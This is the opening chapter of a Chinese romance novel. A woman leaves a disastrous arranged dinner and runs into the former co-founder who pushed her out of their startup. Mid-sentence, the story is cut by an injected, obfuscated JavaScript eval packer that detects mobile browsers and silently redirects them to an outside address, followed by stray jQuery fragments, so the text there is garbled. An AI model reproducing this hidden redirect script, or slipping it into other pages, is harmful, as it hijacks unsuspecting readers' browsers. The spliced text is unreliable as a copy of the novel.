1. 第 1 章

作品:《不撞南墙不回头

    星期五,晚七点,地中海菜餐厅。


    景孟瑶准时出现在预订的座席。她一袭白色羊毛裙,收腰的设计,颈间搭配一条单排珍珠项链,耳边佩戴钻石耳钉,左手戴了一块腕表,淡妆,香水在停车场里重新补过一次,最基础的礼节。


    她来赴一场相亲饭局,对方是诚天制药戴家的儿子。景家与戴家各自在商界积累有雄厚的名望,如果能够结为姻亲,堪称是珠联璧合。因此,虽然今晚两边的长辈没有亲自到场,但是这顿饭的重要性早已不言而喻。


    显然,景孟瑶的相亲对象没有什么时间观念,他迟到了整整四十分钟,姗姗来迟后也没有表达任何歉意,挂着满脸散漫的态度直接拉开椅子坐下。


    景孟瑶的脾气向来很好,很难被人激怒。她微微笑了笑,瞳色浅而明亮,清霁温柔的态度体现出她的教养与风度。她不介意先开口自我介绍,她伸出手:“你好,我是景孟瑶。”


    对方却并未顺势接话,而是比划了一个嘘的手势,傲慢又无礼,挑剔的眼神在景孟瑶的脸上来来回回地打量,然后语速很快,叽里咕噜冒出一大串话:“你穿得很贵,五位数的裙子,五位数的高跟鞋,澳白珍珠项链。钻石耳钉可能便宜一点。你的职业是大学的助理教授,这身穿搭并不适合你今天穿去上班的场合,所以你是下班后重新更换了现在这身衣服。”


    “你在T大做老师,周五的晚高峰,外面还在下雨,两个小时只刚刚够你从T大开车到这里,不够让你回家换衣服。所以你不是自己开车来的,而是有人开车载你来,你在他的车上换的衣服。”


    “这条项链你单手一定很难戴上吧,他帮你戴的。”


    “你手上戴的这块积家手表是去年情人节期间发售的限定款。应该很难撞款。但是最有意思的是,刚才我在停车场里遇到了一位年轻男士,他的手上就戴着这款的男表。巧合?我不相信这是巧合。我看到他的时候,他手里拿着打火机,所以他有抽烟的习惯。”


    他做了一个嗅闻的动作:“但是你的身上闻不到任何男士香水的味道,也没有烟草的味道。你现在的这款香水——橙花、香柠檬、茉莉,是Leibo的雨后清晨,前调!你在不久前刚刚喷过香水,是为了遮盖那个男人身上的烟草味么?你还补过口红,是要掩盖什么?”


    相亲对象摆出了一副大获全胜的表情,他得意洋洋地挑起眉抱臂往后靠,眼中闪烁着志得意满的光芒,似乎已经掌控全局。他的目光紧紧锁定在景孟瑶的脸上,试图从她的表情里捕捉到任何破裂的情绪。


    景孟瑶眼中的笑意淡了些,她把桌面上的手机收进包里,眉眼舒展开,仍然是温和自然的态度,她说:“我回去之后会告诉长辈,我们不合适,让他们打消两家联姻的想法。这是菜单和酒水单。您请便。”


    她起身离开,但是爱好推理小说的戴先生还没有玩腻这个福尔摩斯游戏,他朝着她的背影,扬高了几分声音:“MR5946,你的秘密情人的车牌号是这个,白色的软顶敞篷DB11,对吧。他今天身上穿的毛衣和风衣就是你手上这只包的配货!这真是太可笑了,他居然亲自开车送自己的女朋友去相亲吗?”


    景孟瑶推门出去,那个充满胜负欲的嗓音被她隔绝在身后。


    在等电梯的时候,她拿出手机给祖母苏富云发信息告知情况。好脾气如景孟瑶,此刻也不由得露出几分无奈,她握着手机,手指悬在屏幕键盘的上方,一时间甚至词穷,不知道该如何描述这样一位随心所欲的人。


    【景孟瑶:祖母,我见过戴家的儿子了,我和他并不合适,您需要重新考量。】


    苏富云那边很快回复消息。


    【苏富云:知道了,我在开会。把周日晚上的时间空出来,喻家的儿子喻鸣单身,最近在国内,他会从S市飞过来和你见一面。】


    景孟瑶收起手机。不难看出来,祖母苏富云非常迫切地想要为景孟瑶安排一位结婚对象。


    戴家,喻家,然后还会有其他的企业,直到景孟瑶顺利结婚为止。


    家里的生意并没有出问题,祖母着急安排联姻,主要是为了与景孟瑶的祖父在董事会分庭抗礼。


    电梯下行,景孟瑶单手摘掉了脖颈上的珍珠项链,扔进包里。她不需要任何人帮忙就能摘戴这条项链。


    电梯门打开,她拿出车钥匙,往自己车子的方向走去。


    她也不需要任何人接送她,成年拿到驾照之后她就很少用家里的司机,她在国外读PhD的时候一直自己开车往返于校区和公寓之间,两个小时,绰绰有余够她从T大开车到这里。


    福尔摩斯先生的推理全部错误。


    她没有秘密情人,没有情侣款的手表,没有一辆白色DB11等候在地下停车库。


    等等。


    景孟瑶停住脚步,她看到了那辆车,福尔摩斯先生口中的那辆白色软顶敞篷DB11,车牌号MR5946。显然,福尔摩斯先生还看错了一位数字,车牌号明明是MR5746。这辆车此刻就停在电梯间正对面的车位上,车子刚发动起来,车大灯亮得晃眼,V8引擎强烈的轰鸣声让人很容易就注意到它。


    驾驶座上的人开门下车。景孟瑶微微眯起眼睛才能逆着车灯光看到那个人影的轮廓。那里有一个年轻的、冷漠的男人。


    她脸上的表情瞬间冻住,完美的温和的面具隐去,最真实的情绪涌上来,异样得让她指尖刺痛发麻。


    和福尔摩斯先生形容的一模一样,车上下来的那个男人穿着风衣和毛衣,风衣的扣子敞着,毛衣是柔软的羊绒质地,甚至是温柔的灰粉色的,软乎乎毛茸茸的质感,仿佛都软化了他身上那种过于冷峻的气质。


    男人的眼眸落在景孟瑶的脸上,喉结上下滚动,下一秒他的嗓音开口:“好久不见。”


    “凌聿。”景孟瑶准确地叫出这个名字,其余一句话都说不出口。她下意识地想后退,可是她已经过了那个能够把逃避当作解决手段的天真的年纪。


    她的视线掠过他手上的腕表,还真是可怕的巧合。她隐约能够辨认出,他腕表的款式


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207092|165777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和她手上此刻戴的确实有点儿像。


    该说什么才好呢?她还能和他说什么?她不会为这种巧合感到惊喜。


    凌聿把她的情绪变化都看在眼里,她不喜欢他,她在排斥他。凌聿无意引起她更强烈的反感,于是他收回视线。他坚持了几秒钟,然后忍不住又看向她。情绪根本说不清楚是焦躁还是兴奋。只有他自己知道,心脏跳动的频率比平时要快,从看见她身影的那一刻开始他就在克制。


    左手在西裤口袋里摸到打火机,但也只有冰冷的打火机。


    他已经戒烟半年。准确说起来,是当半年前他得知景孟瑶准备博士毕业后回国在国内找教职,他就没有再抽烟了。景孟瑶不喜欢烟草的味道,他记得。


    凌聿并不否认,戒烟这一举动暴露出他的某种难言的企图心。


    他本来就是一个居心不良的混蛋。因此他仍然时常会想起五年前他和她最后一次见面时候的场景,他们大吵一架然后分道扬镳的那个晚上:


    争吵,酒精,景孟瑶的眼泪,浅尝辄止的吻,没有眼力见的电灯泡,以及他失败的唯一一次的告白。


    那一天她吻了他,她甚至说她原谅他,原谅他做的所有事情。可是她再也不会和他一起。


    他和景孟瑶之间的交集就停留在那一个时刻,之后五年的时间飞逝而过,转眼就是当下。他知道她在楼上的地中海餐厅见一个男人,是她家里为她安排的相亲对象。她会喜欢那个男人吗?


    凌聿早已理清了头绪:他必须又争又抢,否则他再也不会有别的机会。


    他问:“你喝酒了吗?需要送你吗?”


    景孟瑶抬头对上凌聿漆黑的眼神,正准备回答,包里她的手机震动了一下,弹出来一条微信消息。


    【苏富云:为什么戴家的儿子说,你有在交往中的男人。他还说,你在和鲸智科技的凌聿交往。这是真的吗?】


    当然不是真的。有五年前发生的那些事情,她怎么可能会和凌聿开始恋爱关系?


    五年前,一切刚刚开始的时候,景孟瑶和凌聿还是T大计算机系的硕士研究生。他们两个,还有另一位同学景焰,他们三个开始做一个自研的轻量级游戏开发平台“鲸鱼 Whales”,在游戏业内初露锋芒。当这一商业模式被验证可行后,金融行业的多家风投公司闻风而来,频繁地接触这几位年轻的学生,寄希望于在不远的将来,能够从这条即将迅速膨胀成长的“鲸鱼”身上分一杯羹。


    风投公司想要拿走这个idea,但是不想为这些年轻人加冕太多的光环。他们认为这个小小的团队很容易就能从内部被瓦解,踢走两个,留下一个,从留下的那个身上榨干所有的价值,然后也将其踢出局,再之后公司上市,套现离场,一个小小的可爱的idea就变成了大笔大笔的金钱,走完了它应有的宿命。


    大家都是这么干的,所以大家都不会有任何负罪感。


    风投公司留下了凌聿。


    然后凌聿把所有人都踢出局了,只剩他,赢家通吃。